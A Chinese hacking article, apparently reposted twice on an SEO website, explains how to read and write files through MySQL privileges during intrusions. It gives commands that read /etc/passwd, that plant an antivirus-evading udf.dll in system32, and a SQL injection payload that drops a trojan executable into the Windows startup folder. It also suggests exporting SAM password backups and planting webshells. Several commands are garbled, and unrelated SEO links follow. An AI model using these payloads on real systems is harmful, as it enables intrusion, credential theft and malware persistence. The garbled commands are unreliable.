mysql 读取文件的几种方式及应用
网站建设 2023-02-09 11:06www.1681989.com免费网站
章出处:C.R.S.T
作者:sai52[B.H.S.T]
blog:.sai52.
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,特地查了下mysql使用手册。
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
mysql3.x下
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data file 读取文件,命令如下
mysql>create table a (cmd text);
mysql>load data file 'c:\\boot.i' to table a;
mysql>select from a;
mysql4.x下
mysql4.x下除了 load data file 外还可以用大家熟知的 load_file() 来读取,命令如下
mysql>create table a (cmd text);
mysql>sert to a (cmd) values (load_file('c:\\boot.i'));
mysql>select from a;
mysql5.x下
在lux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
mysql>system cat /etc/passwd
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用to outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
例把免杀过的udf.dll文件插入系统目录
create table a (cmd LONGBLOB);
sert to a (cmd) values (hex(load_file('c:\\wdows\\temp\\udf.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\wdows\\system32\\udf.dll';
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中理论上应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
注入中的语法
[Copy to clipboard] [ - ]CODE:
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:/Documents and Settgs/All Users/「开始」菜单/程序/启动/mm.exe'/
测试后发现注入中运用不太现实,因为要导出二进制文件要求必须数据类型为blob或longblob,现实中极少用到。
作者:sai52[B.H.S.T]
blog:.sai52.
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,特地查了下mysql使用手册。
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
mysql3.x下
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data file 读取文件,命令如下
mysql>create table a (cmd text);
mysql>load data file 'c:\\boot.i' to table a;
mysql>select from a;
mysql4.x下
mysql4.x下除了 load data file 外还可以用大家熟知的 load_file() 来读取,命令如下
mysql>create table a (cmd text);
mysql>sert to a (cmd) values (load_file('c:\\boot.i'));
mysql>select from a;
mysql5.x下
在lux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
mysql>system cat /etc/passwd
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用to outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
例把免杀过的udf.dll文件插入系统目录
create table a (cmd LONGBLOB);
sert to a (cmd) values (hex(load_file('c:\\wdows\\temp\\udf.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\wdows\\system32\\udf.dll';
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中理论上应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
注入中的语法
[Copy to clipboard] [ - ]CODE:
id=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:/Documents and Settgs/All Users/「开始」菜单/程序/启动/mm.exe'/
测试后发现注入中运用不太现实,因为要导出二进制文件要求必须数据类型为blob或longblob,现实中极少用到。
网站设计
- 静宁会SEO的网站建设公司:全面提升您的网络影
- 提升在线业务的关键:选择最佳的丽水网站建设
- 浙江网站优化发展潜力如何
- 井研专业的网站建设公司:打造您的在线品牌
- 灵山SEO网站建设公司:提升您的在线业务表现
- 蒙城网站建设优化公司:提升您网站表现的理想
- 阳谷企业网站优化:提升线上业务力的关键
- 樟树专业的网站建设公司:打造您在线业务的坚
- 通河百度SEO排名的策略与技巧
- 重庆百度快照排名如何进行精准的客户引流
- 重庆百度快照排名
- 常宁便宜的建站公司:助您轻松打造在线业务
- 巫溪百度网站优化:提升网站曝光率与流量的关
- 湖北整站优化怎么做才能放大客户需求
- 闸北网站建设多少钱?全面解析与预算规划
- 辽宁企业网站优化怎么做电话营销